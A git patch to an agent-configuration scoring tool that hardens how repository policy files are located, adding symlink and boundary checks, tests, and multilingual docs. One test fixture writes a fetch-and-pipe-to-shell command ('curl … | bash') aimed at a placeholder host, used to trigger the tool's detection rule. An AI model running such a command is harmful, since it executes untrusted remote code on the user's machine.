From 1a66d010204d147fee2b5bbd9f8e79bb89d2ec22 Mon Sep 17 00:00:00 2001 From: Zhibo Lin <147509942+LE0-Lin@users.noreply.github.com> Date: Wed, 28 Oct 2026 18:58:57 +0800 Subject: [PATCH] fix: reject invalid repository policy sources before reading --- CHANGELOG.md | 2 + docs/doctor.md | 31 ++++ docs/limitations.md | 9 + docs/simplified/limitations.md | 2 + docs/simplified/user-guide.md | 2 + docs/traditional/limitations.md | 2 + docs/traditional/user-guide.md | 2 + docs/translations.md | 9 + docs/user-guide.md | 10 ++ scripts/verify_installed_package.py | 40 +++++ src/agent_config_score/config.py | 36 +++- tests/test_policy_sources.py | 258 ++++++++++++++++++++++++++++ 12 files changed, 397 insertions(+), 6 deletions(-) create mode 100644 tests/test_policy_sources.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 245dfcd..241e4ab 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,8 @@ ### Fixed +- Distinguish an absent repository-policy entry from dangling/cyclic or unreadable configuration sources. Require the resolved config to be a regular file inside its selected root before reading; retain internal file links and explicit root aliases, validate both comparison trees and sanitize source I/O errors. Invalid sources no longer fall back to compatibility defaults or read external policy contents. Document deliberate migration for external links and Git worktree targets, with explicit non-atomic/hard-link/mount limits. Valid-policy scoring/defaults, published v0.24.0 artifacts, Action refs and frozen research are unchanged. + - Preserve damaged local history instead of treating malformed/unreadable indexes as empty and overwriting them on append. Reject non-object rows, duplicate decoded names, non-finite numbers, invalid scores and known linked/reparse/nonregular store paths; retain partial legacy snapshots and unknown scores. The Python append helper serializes before writing and flushes/syncs a same-directory temporary file before replacement, with tested write/sync/replacement-failure preservation. CLI history failures use exit `2` without success output; full-history validation precedes visibility/retention limits. No automatic repair, writer locking, power-loss durability or evidence-authenticity claim is implied. Rule scores, CI artifacts, published v0.24.0 artifacts and Action refs are unchanged. - Reject duplicate decoded JSON member names throughout repository configuration instead of silently adopting the last policy/suppression value, including escaped aliases and equal-valued repeats. Reject non-standard numeric constants and Boolean format versions while preserving valid-policy defaults and numeric `1.0` compatibility. Doctor derives policy/schema metadata from one read. Invalid baseline and candidate configs remain errors despite CLI threshold overrides; rejection does not overwrite reports or certify policy adequacy. Published v0.24.0 artifacts, Action refs, rule scores and frozen research are unchanged. diff --git a/docs/doctor.md b/docs/doctor.md index 4b01c9d..90d4c97 100644 --- a/docs/doctor.md +++ b/docs/doctor.md @@ -53,6 +53,37 @@ sandbox, authenticity check or proof that the policy is adequate. The direct `parse_policy(dict)` API cannot recover duplicate names that a caller has already discarded while decoding. Published v0.24.0 packages and Action refs are unchanged. +## Configuration file boundary (unreleased) + +Source builds distinguish an absent `.agentconfigscore.json` directory entry +from an existing but invalid source. Only a genuinely absent config uses +compatibility defaults. Dangling/cyclic links, failed metadata access, external +targets and non-regular sources are configuration errors, not missing config. +The source must resolve to a regular file inside the selected repository root; +internal file links are supported, and an explicitly selected root alias defines +the resolved boundary. The resolved target is opened as strict UTF-8. Raw target +paths and filesystem error details are not echoed in these source diagnostics. + +The same loader serves scans, feedback, both sides of compare/diff and doctor. +Failure keeps operational exit `2` and no success report for policy-using CLI +commands; doctor emits a `config` error with exit `1`. Threshold overrides cannot +authorize an invalid source. No source/report is repaired or rewritten by the +check. Unscored `guardrails` and workflow-only initialization remain separate +interfaces and do not certify repository policy. + +For a shared config, prefer a relative link to a tracked in-repository JSON file +so the target exists inside each Git baseline worktree. A link back to the +original checkout can be external to the temporary baseline root and is rejected. +For an invalid link, review/migrate the intended policy into the repository or +repair the link deliberately, then rerun doctor. Do not delete the link merely +to make the tool fall back to defaults. Git/platform link support still matters. + +This changes compatibility for external config links and is not yet in v0.24.0. +It is not an atomic snapshot or filesystem sandbox: concurrent replacement of +parents/targets remains possible between metadata checks and open. Hard-link +identity and mount boundaries are not certified; workflow/report readers are +separate interfaces. Keep the tree stable during validation and comparison. + ## Instruction and repository access The `repository-paths` check reports an error if index traversal fails, for diff --git a/docs/limitations.md b/docs/limitations.md index a81bfd6..b9c193f 100644 --- a/docs/limitations.md +++ b/docs/limitations.md @@ -27,6 +27,15 @@ v0.24.0. See [failure and compatibility details](doctor.md#configuration-decodin The check does not validate policy adequacy, authenticate config authors, provide an atomic snapshot or recover names already lost by a caller's JSON decoder. +Unreleased config-source checks also distinguish absent files from dangling +links. Config must resolve to a regular file inside the selected repository root; +internal file links and explicit root aliases remain supported. External/cyclic/ +nonregular/unreadable sources fail rather than using defaults. Both Git worktrees +must satisfy the boundary independently. This is not atomic against concurrent +path replacement, and hard-link/mount identity is not certified. Workflow-only +setup and unscored guardrails remain separate from policy validation. See +[compatibility and migration](doctor.md#configuration-file-boundary-unreleased). + ## Local history integrity Unreleased source builds distinguish an absent local history index from damaged diff --git a/docs/simplified/limitations.md b/docs/simplified/limitations.md index 1944254..37bf037 100644 --- a/docs/simplified/limitations.md +++ b/docs/simplified/limitations.md @@ -10,6 +10,8 @@ v0.24.0+ 提供[工具源码身份(英文)](../report-identity.md),用于 尚未发布的源码拒绝各层配置中解码后重复的 JSON 字段名、非标准 `NaN`/`Infinity` 常量以及布尔类型的格式 `version`,不选择重复字段的第一个或最后一个值。比较的两侧都必须通过验证;命令行门槛覆盖不能批准格式错误的配置。`doctor` 从同一次读取的内容获取策略和 schema 元数据。这些变化不在 v0.24.0 中。[失败行为与兼容性细节(英文)](../doctor.md#configuration-decoding)。这不证明策略充分、不认证作者、不提供原子快照,也不能恢复调用方 JSON 解析时已经丢失的重复字段。 +尚未发布的配置来源检查还区分文件不存在与链接失效,要求配置解析为选定仓库根目录内的普通文件。仓库内的文件链接和显式根目录别名仍受支持;越界、循环、非普通文件或不可读来源报错,不回退到默认值。Git 比较两侧各自满足边界;这不对并发路径替换提供原子保证,也不认证硬链接/挂载身份。只生成工作流的初始化及非计分 guardrails 不验证策略。[兼容性与迁移(英文)](../doctor.md#configuration-file-boundary-unreleased)。这些变化不在 v0.24.0 中。 + ## 本地历史完整性 尚未发布的源码区分本地历史索引不存在与数据损坏/不可读。历史无效时返回操作错误 `2`,不是空的成功报告。Python 追加接口拒绝重置损坏的索引,并在同一目录写入完整临时文件后替换,不直接截断原记录。旧版部分字段快照仍受支持;缺失分数表示未知。带链接或 reparse 的历史路径需要手动迁移。这些变化不在 v0.24.0 中。 diff --git a/docs/simplified/user-guide.md b/docs/simplified/user-guide.md index 2334488..e09741f 100644 --- a/docs/simplified/user-guide.md +++ b/docs/simplified/user-guide.md @@ -30,6 +30,8 @@ agent-config-score doctor 尚未发布的源码拒绝配置中重复的字段名(包括嵌套对象和转义拼写)、`NaN`/`Infinity` 常量及布尔类型的格式 `version`,不会悄悄采用覆盖后的值。请审核并为每个字段保留一个值。扫描、`feedback`、`diff` 和 `compare` 返回 `2` 且不生成成功报告;doctor 给出 `config` 错误并返回 `1`。命令行门槛覆盖不能跳过配置验证;缺失配置时的默认行为不变。这些变化不在 v0.24.0 中。[配置解析细节(英文)](../doctor.md#configuration-decoding)。 +尚未发布的配置来源检查还要求 `.agentconfigscore.json` 解析为选定仓库根目录内的普通文件。只有目录项不存在时才使用默认值;失效、越界、循环或不可读的来源均报错。仓库内的文件链接及用户显式指定的根目录别名仍受支持。共享配置宜使用指向已跟踪文件的相对链接,确保每个 Git 基线都有自己的仓库内目标。检查期间保持目录稳定;这不是原子文件系统沙箱。无效链接须明确修复,不要删除链接来绕过策略。[配置边界与迁移(英文)](../doctor.md#configuration-file-boundary-unreleased)。已发布的 v0.24.0 及 Action 引用不变。 + 若没有找到支持的指令文件,请编写符合仓库实际情况的指令,或采用[模板(英文)](../../examples/README.md)。不要仅为涨分添加词句。[完整发现范围(英文)](../../README.md#what-it-scans)。 ## 3. 检查当前目录 diff --git a/docs/traditional/limitations.md b/docs/traditional/limitations.md index eafbfd3..f63dfd2 100644 --- a/docs/traditional/limitations.md +++ b/docs/traditional/limitations.md @@ -10,6 +10,8 @@ v0.24.0+ 提供[工具原始碼身分(英文)](../report-identity.md),用 尚未發布的原始碼拒絕各層設定中解碼後重複的 JSON 欄位名稱、非標準 `NaN`/`Infinity` 常數以及布林型別的格式 `version`,不選取重複欄位的第一個或最後一個值。比較的兩側都必須通過驗證;命令列門檻覆寫不能核准格式錯誤的設定。`doctor` 從同一次讀取的內容取得策略及 schema 中繼資料。這些變更不在 v0.24.0 中。[失敗行為與相容性細節(英文)](../doctor.md#configuration-decoding)。這不證明策略充分、不認證作者、不提供原子快照,也不能復原呼叫端 JSON 解析時已遺失的重複欄位。 +尚未發布的設定來源檢查也區分檔案不存在與連結失效,要求設定解析為選定儲存庫根目錄內的一般檔案。儲存庫內的檔案連結與明確根目錄別名仍受支援;越界、循環、非一般檔案或無法讀取的來源報錯,不退回預設值。Git 比較兩側各自滿足邊界;這不對並行路徑替換提供原子保證,也不認證硬連結/掛載身分。僅產生工作流程的初始化與不計分 guardrails 不驗證策略。[相容性與遷移(英文)](../doctor.md#configuration-file-boundary-unreleased)。這些變更不在 v0.24.0 中。 + ## 本機歷史完整性 尚未發布的原始碼區分本機歷史索引不存在與資料損壞/無法讀取。歷史無效時返回操作錯誤 `2`,不是空的成功報告。Python 附加介面拒絕重設損壞的索引,並在同一目錄寫入完整暫存檔案後替換,不直接截斷原記錄。舊版部分欄位快照仍受支援;缺失分數表示未知。含連結或 reparse 的歷史路徑需要手動遷移。這些變更不在 v0.24.0 中。 diff --git a/docs/traditional/user-guide.md b/docs/traditional/user-guide.md index 19a4e76..48610e1 100644 --- a/docs/traditional/user-guide.md +++ b/docs/traditional/user-guide.md @@ -30,6 +30,8 @@ agent-config-score doctor 尚未發布的原始碼拒絕設定中重複的欄位名稱(包括巢狀物件及跳脫拼寫)、`NaN`/`Infinity` 常數與布林型別的格式 `version`,不會悄悄採用覆蓋後的值。請審閱並為每個欄位保留一個值。掃描、`feedback`、`diff` 與 `compare` 返回 `2` 且不產生成功報告;doctor 提供 `config` 錯誤並返回 `1`。命令列門檻覆寫不能略過設定驗證;缺少設定時的預設行為不變。這些變更不在 v0.24.0 中。[設定解析細節(英文)](../doctor.md#configuration-decoding)。 +尚未發布的設定來源檢查也要求 `.agentconfigscore.json` 解析為選定儲存庫根目錄內的一般檔案。只有目錄項目不存在時才使用預設值;失效、越界、循環或無法讀取的來源均報錯。儲存庫內的檔案連結與使用者明確指定的根目錄別名仍受支援。共享設定宜使用指向已追蹤檔案的相對連結,確保每個 Git 基準都有自己的儲存庫內目標。檢查期間保持目錄穩定;這不是原子檔案系統沙箱。無效連結須明確修復,不要刪除連結來繞過策略。[設定邊界與遷移(英文)](../doctor.md#configuration-file-boundary-unreleased)。已發布的 v0.24.0 與 Action 參照不變。 + 若沒有找到支援的指令檔,請撰寫符合儲存庫實際需求的指令,或使用[範本(英文)](../../examples/README.md)。不要只為提高分數添加詞句。[完整探索範圍(英文)](../../README.md#what-it-scans)。 ## 3. 檢查目前目錄 diff --git a/docs/translations.md b/docs/translations.md index 6b3bb32..c03958f 100644 --- a/docs/translations.md +++ b/docs/translations.md @@ -136,6 +136,15 @@ history is not automatically appended by scans or imported from CI artifacts. This is unreleased source behavior; executable guide examples, rule scores, published v0.24.0 artifacts, Action refs and frozen research remain unchanged. +Also on 2026-10-28, built on `7d19d47c0818edecaf0c93a50190315e069a6ab0`, both +core guides/limitations were synchronized for repository-policy source checks: +absent entries versus invalid links, in-root regular-file targets, retained +internal/root aliases, both baseline/candidate boundaries and sanitized source +I/O failures. Migration, platform/link and non-atomic/hard-link/mount limits are +explicit; workflow-only setup and unscored guardrails remain separate. This is +unreleased behavior, not a v0.24.0, Action-ref, scoring or frozen-evidence update. +Executable guide examples are unchanged. + When an English source page changes, review both variants together and record the new source revision here. Preserve executable examples, rule IDs and JSON keys verbatim. Keep the score limitations and failure/exit semantics aligned; diff --git a/docs/user-guide.md b/docs/user-guide.md index 850b681..61455fa 100644 --- a/docs/user-guide.md +++ b/docs/user-guide.md @@ -49,6 +49,16 @@ report; doctor returns `1` with a `config` error. Threshold overrides do not byp config validation. Missing-config defaults remain unchanged. This is not in v0.24.0; see [configuration decoding](doctor.md#configuration-decoding). +Unreleased config-source checks also require `.agentconfigscore.json` to resolve +to a regular file inside the selected repository root. Only an absent entry uses +defaults; dangling/external/cyclic/unreadable sources are errors. Internal file +links and explicit repository-root aliases remain supported. Use a relative, +tracked shared config so each Git baseline has its own in-root target. Keep the +tree stable: this is not an atomic filesystem sandbox. Existing invalid links +need deliberate repair, not deletion to bypass policy. See +[config boundary and migration](doctor.md#configuration-file-boundary-unreleased). +Published v0.24.0 and Action refs are unchanged. + If doctor finds no supported instruction files, add repository-specific instructions or adapt one of the [templates](../examples/README.md). Do not add phrases just to increase the score. See [supported discovery](../README.md#what-it-scans). diff --git a/scripts/verify_installed_package.py b/scripts/verify_installed_package.py index 3a15b4d..69adf52 100644 --- a/scripts/verify_installed_package.py +++ b/scripts/verify_installed_package.py @@ -395,6 +395,46 @@ def verify(python: Path, expected_version: str) -> list[str]: config.write_bytes(original[0]) checks.append("strict policy JSON across aliases, module, doctor, diff, compare and feedback without success reports or overwrites") + policy_scope = workspace / "policy source boundary" + policy_scope.mkdir() + (policy_scope / "AGENTS.md").write_text(clean_text, encoding="utf-8") + shared_policy = policy_scope / "shared.json" + shared_policy.write_text('{"policy":{"fail_under":90}}', encoding="utf-8") + policy_alias = policy_scope / ".agentconfigscore.json" + policy_links = False + try: + os.symlink("shared.json", policy_alias) + policy_links = True + except OSError: + pass # Some Windows hosts do not permit symbolic links. + if policy_links: + resolved_policy = run([str(python), "-I", "-c", + "from pathlib import Path; from agent_config_score.config import load_policy; " + "assert load_policy(Path.cwd()).fail_under == 90; print('internal policy retained')" + ], policy_scope) + require(resolved_policy.strip() == "internal policy retained", "Internal policy alias stopped working") + outside_policy = workspace / "outside-policy.json" + outside_bytes = b'{"policy":{"fail_under":0}}' + outside_policy.write_bytes(outside_bytes) + for target in (outside_policy, Path("missing-policy.json")): + policy_alias.unlink() # Only the disposable fixture-owned alias. + os.symlink(target, policy_alias) + for command in commands: + require(run([*command, ".", "--json", "--fail-under", "0"], policy_scope, expected=2) == "", + "Invalid policy source fell back to defaults or emitted a scan") + broken_policy = json.loads(run([*cli, "doctor", "--json"], policy_scope, expected=1)) + require(broken_policy["ok"] is False and any(c["name"] == "config" and c["status"] == "error" + for c in broken_policy["checks"]), "Doctor hid an invalid policy source") + require(run([*cli, "compare", str(base), str(policy_scope), "--json"], repo, expected=2) == "", + "Comparison accepted an invalid candidate policy source") + require(run([*cli, "feedback", "--output", str(protected_report)], policy_scope, expected=2) == "", + "Feedback accepted an invalid policy source") + require(protected_report.read_bytes() == b"preserved report" and policy_alias.is_symlink(), + "Policy source failure overwrote the report or alias") + require(outside_policy.read_bytes() == outside_bytes and not (policy_scope / "missing-policy.json").exists(), + "Policy source validation changed a linked target") + checks.append("policy source boundary: internal aliases retained and invalid aliases rejected where host permits symlinks") + config.write_bytes(b'{"private":"synthetic-\xff"}') require(run([*cli, ".", "--json"], repo, expected=2) == "", "Invalid config emitted a scan") config.write_bytes(original[0]) diff --git a/src/agent_config_score/config.py b/src/agent_config_score/config.py index 6727801..1165b11 100644 --- a/src/agent_config_score/config.py +++ b/src/agent_config_score/config.py @@ -5,6 +5,7 @@ from fnmatch import fnmatch import json from pathlib import Path +import stat from .rules import get_rule @@ -193,28 +194,51 @@ def _reject_nonstandard_number(_value: str) -> None: raise ConfigError("non-standard JSON number constants are not allowed") +def _configuration_source(root: Path) -> Path | None: + """Only an absent entry uses defaults; validate other sources before reads. + + Internal file aliases and an explicitly chosen root alias are supported. + Resolution/metadata checks are not atomic against concurrent replacement. + """ + try: + boundary = root.resolve(strict=True) + path = boundary / CONFIG_NAME + try: + path.lstat() # exists() would silently treat a dangling link as absent. + except FileNotFoundError: + return None + target = path.resolve(strict=True) + if not target.is_relative_to(boundary): + raise ConfigError("configuration source must remain inside the repository") + if not stat.S_ISREG(target.stat().st_mode): + raise ConfigError("configuration source must resolve to a regular file") + return target + except RuntimeError as exc: # pathlib link loops on Python 3.10-3.12. + raise ConfigError("could not resolve configuration source; check the config link") from exc + except OSError as exc: + raise ConfigError("could not inspect or resolve configuration source; check access and the config link") from exc + + def _load_policy_document(root: Path) -> tuple[Policy, dict | None]: """Validate one decoded document; None identifies a missing config. Retain metadata for doctor without reopening the file or decoding it using different rules. This is not an atomic snapshot of the repository. """ - path = root.resolve() / CONFIG_NAME - if not path.exists(): + source = _configuration_source(root) + if source is None: return Policy(), None - if not path.is_file(): - raise ConfigError(f"{CONFIG_NAME} exists but is not a file") try: data = json.loads( - path.read_text(encoding="utf-8"), + source.read_text(encoding="utf-8"), object_pairs_hook=_unique_json_object, parse_constant=_reject_nonstandard_number, ) except UnicodeError as exc: raise ConfigError(f"{CONFIG_NAME} must be saved as UTF-8") from exc except OSError as exc: - raise ConfigError(f"could not read {CONFIG_NAME}: {exc}") from exc + raise ConfigError(f"could not read {CONFIG_NAME}; check filesystem access and keep the source stable") from exc except json.JSONDecodeError as exc: raise ConfigError( f"invalid JSON in {CONFIG_NAME} at line {exc.lineno}, column {exc.colno}: {exc.msg}" diff --git a/tests/test_policy_sources.py b/tests/test_policy_sources.py new file mode 100644 index 0000000..dd3674c --- /dev/null +++ b/tests/test_policy_sources.py @@ -0,0 +1,258 @@ +import contextlib +import io +import json +import os +from pathlib import Path +import subprocess +import tempfile +import unittest +from unittest.mock import patch + +from agent_config_score.config import CONFIG_NAME, ConfigError, Policy, load_policy +from agent_config_score.entrypoint import main + + +class PolicySourceTests(unittest.TestCase): + def link(self, source, target, *, directory=False): + try: + source.symlink_to(Path(target), target_is_directory=directory) + except OSError: + self.skipTest("Host does not permit symbolic links") + + def invoke(self, args): + stdout, stderr = io.StringIO(), io.StringIO() + with contextlib.redirect_stdout(stdout), contextlib.redirect_stderr(stderr): + code = main(args) + return code, stdout.getvalue(), stderr.getvalue() + + def git(self, root, *args): + return subprocess.run(["git", "-C", str(root), *args], check=True, + capture_output=True, text=True, encoding="utf-8", timeout=30).stdout.strip() + + def initialize_git(self, root): + self.git(root, "init", "-q", "--template=") + hooks = root / "empty-hooks" + hooks.mkdir() + for key, value in (("core.hooksPath", str(hooks)), ("core.symlinks", "true"), + ("user.name", "ACS Tests"), ("user.email", "tests@example.invalid")): + self.git(root, "config", key, value) + + def test_genuinely_absent_config_still_uses_defaults_without_reads(self): + with tempfile.TemporaryDirectory() as directory: + with patch.object(Path, "read_text", side_effect=AssertionError("missing file read")): + self.assertEqual(load_policy(Path(directory)), Policy()) + + def test_dangling_config_link_is_not_absent(self): + with tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() + source = root / CONFIG_NAME + self.link(source, "missing-policy.json") + with self.assertRaisesRegex(ConfigError, "configuration source"): + load_policy(root) + self.assertTrue(source.is_symlink()) + + def test_external_config_is_rejected_before_content_read(self): + with tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() / "repo" + root.mkdir() + outside = root.parent / "private-external-policy.json" + outside.write_text('{"policy":{"fail_under":0}}', encoding="utf-8") + self.link(root / CONFIG_NAME, outside) + with patch.object(Path, "read_text", side_effect=AssertionError("external config opened")): + with self.assertRaisesRegex(ConfigError, "configuration source") as raised: + load_policy(root) + self.assertNotIn(str(outside), str(raised.exception)) + + def test_config_link_chains_cannot_escape_or_resolve_cycles(self): + for kind in ("external", "cycle", "missing"): + with self.subTest(kind=kind), tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() / "repo" + root.mkdir() + self.link(root / CONFIG_NAME, "shared.json") + if kind == "external": + outside = root.parent / "outside.json" + outside.write_text('{}', encoding="utf-8") + self.link(root / "shared.json", outside) + elif kind == "cycle": + self.link(root / "shared.json", CONFIG_NAME) + with patch.object(Path, "read_text", side_effect=AssertionError("invalid chain opened")): + with self.assertRaisesRegex(ConfigError, "configuration source"): + load_policy(root) + + def test_internal_file_alias_reads_resolved_target_and_preserves_policy(self): + with tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() + target = root / "config" / "shared.json" + target.parent.mkdir() + target.write_text('{"policy":{"max_drop":3,"fail_under":90}}', encoding="utf-8") + source = root / CONFIG_NAME + self.link(source, "config/shared.json") + original = Path.read_text + reads = [] + + def record(path, *args, **kwargs): + reads.append(path) + return original(path, *args, **kwargs) + + with patch.object(Path, "read_text", record): + policy = load_policy(root) + self.assertEqual(policy, Policy(max_drop=3, fail_under=90)) + self.assertEqual(reads, [target]) + self.assertTrue(source.is_symlink()) + + def test_explicit_repository_root_alias_is_supported(self): + with tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() / "actual" + root.mkdir() + (root / CONFIG_NAME).write_text('{"policy":{"fail_under":90}}', encoding="utf-8") + alias = root.parent / "alias" + self.link(alias, root, directory=True) + self.assertEqual(load_policy(alias), Policy(fail_under=90)) + + def test_directory_source_is_rejected_before_read(self): + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + (root / CONFIG_NAME).mkdir() + with patch.object(Path, "read_text", side_effect=AssertionError("directory opened")): + with self.assertRaises(ConfigError): + load_policy(root) + + @unittest.skipUnless(hasattr(os, "mkfifo"), "POSIX FIFO required") + def test_direct_and_linked_fifo_are_rejected_before_read(self): + for linked in (False, True): + with self.subTest(linked=linked), tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() + target = root / ("pipe" if linked else CONFIG_NAME) + os.mkfifo(target) + if linked: + self.link(root / CONFIG_NAME, target) + with patch.object(Path, "read_text", side_effect=AssertionError("FIFO opened")): + with self.assertRaises(ConfigError): + load_policy(root) + + def test_metadata_failure_is_not_hidden_as_no_config(self): + with tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() + source = root / CONFIG_NAME + original = Path.lstat + + def fail_selected(path, *args, **kwargs): + if path == source: + raise PermissionError("private-inspection-detail") + return original(path, *args, **kwargs) + + with patch.object(Path, "lstat", fail_selected): + with self.assertRaises(ConfigError) as raised: + load_policy(root) + self.assertNotIn("private-inspection-detail", str(raised.exception)) + + def test_read_failure_is_sanitized_and_never_falls_back_to_defaults(self): + for failure in (PermissionError("private-read-detail"), FileNotFoundError("private-removed-detail")): + with self.subTest(failure=type(failure).__name__), tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() + (root / CONFIG_NAME).write_text('{}', encoding="utf-8") + with patch.object(Path, "read_text", side_effect=failure): + with self.assertRaises(ConfigError) as raised: + load_policy(root) + self.assertNotIn("private-", str(raised.exception)) + + def test_resolution_loop_error_is_sanitized(self): + with tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() + source = root / CONFIG_NAME + source.write_text('{}', encoding="utf-8") + original = Path.resolve + + def loop(path, *args, **kwargs): + if path == source: + raise RuntimeError("private-resolution-detail") + return original(path, *args, **kwargs) + + with patch.object(Path, "resolve", loop): + with self.assertRaises(ConfigError) as raised: + load_policy(root) + self.assertNotIn("private-resolution-detail", str(raised.exception)) + + def test_scan_and_feedback_preserve_reports_when_config_is_dangling(self): + with tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() + (root / "AGENTS.md").write_text("Run tests.\n", encoding="utf-8") + source = root / CONFIG_NAME + self.link(source, "missing-policy.json") + report = root / "existing-report" + report.write_bytes(b"preserve report") + for args in ([str(root), "--json", "--fail-under", "0", "--html", str(report)], + ["feedback", str(root), "--output", str(report)]): + code, stdout, stderr = self.invoke(args) + self.assertEqual((code, stdout), (2, "")) + self.assertIn("configuration source", stderr) + self.assertNotIn("Traceback", stderr) + self.assertEqual(report.read_bytes(), b"preserve report") + self.assertTrue(source.is_symlink()) + + def test_doctor_reports_config_error_not_missing_warning(self): + with tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() + self.link(root / CONFIG_NAME, "missing-policy.json") + code, stdout, stderr = self.invoke(["doctor", str(root), "--json"]) + self.assertEqual((code, stderr), (1, "")) + report = json.loads(stdout) + self.assertFalse(report["ok"]) + self.assertEqual(next(check["status"] for check in report["checks"] if check["name"] == "config"), "error") + + def test_compare_validates_both_source_boundaries_despite_overrides(self): + for invalid in ("base", "head"): + with self.subTest(invalid=invalid), tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() + base, head = root / "base", root / "head" + base.mkdir() + head.mkdir() + self.link(root / invalid / CONFIG_NAME, "missing-policy.json") + with patch("agent_config_score.cli.compare") as compare: + code, stdout, stderr = self.invoke(["compare", str(base), str(head), "--json", "--max-drop", "100"]) + self.assertEqual((code, stdout), (2, "")) + self.assertIn("configuration source", stderr) + compare.assert_not_called() + + def test_git_diff_rejects_invalid_source_in_either_tree_and_cleans_worktree(self): + for invalid in ("base", "head"): + with self.subTest(invalid=invalid), tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() + self.initialize_git(root) + (root / "AGENTS.md").write_text("Run tests.\n", encoding="utf-8") + source = root / CONFIG_NAME + if invalid == "base": + self.link(source, "missing-policy.json") + self.git(root, "add", ".") + self.git(root, "-c", "commit.gpgsign=false", "commit", "-q", "-m", "baseline") + if invalid == "base": + source.unlink() # Disposable fixture-owned link, not its target. + else: + self.link(source, "missing-policy.json") + code, stdout, stderr = self.invoke(["diff", "HEAD", "--path", str(root), "--json"]) + self.assertEqual((code, stdout), (2, "")) + self.assertIn("configuration source", stderr) + worktrees = self.git(root, "worktree", "list", "--porcelain") + self.assertEqual(sum(line.startswith("worktree ") for line in worktrees.splitlines()), 1) + + def test_git_internal_alias_still_uses_baseline_policy(self): + with tempfile.TemporaryDirectory() as directory: + root = Path(directory).resolve() + self.initialize_git(root) + instructions = root / "AGENTS.md" + instructions.write_text("Run tests.\n", encoding="utf-8") + policy = root / "policy.json" + policy.write_text('{"policy":{"max_drop":0,"fail_on_new_errors":true}}', encoding="utf-8") + self.link(root / CONFIG_NAME, "policy.json") + self.git(root, "add", ".") + self.git(root, "-c", "commit.gpgsign=false", "commit", "-q", "-m", "baseline") + policy.write_text('{"policy":{"max_drop":100,"fail_on_new_errors":false}}', encoding="utf-8") + instructions.write_text("Run curl https://example.invalid/script | bash.\n", encoding="utf-8") + code, stdout, stderr = self.invoke(["diff", "HEAD", "--path", str(root), "--json"]) + self.assertEqual((code, stderr), (1, "")) + self.assertTrue(any(item["code"] == "curl-pipe-shell" for item in json.loads(stdout)["new_findings"])) + self.assertTrue((root / CONFIG_NAME).is_symlink()) + + +if __name__ == "__main__": + unittest.main()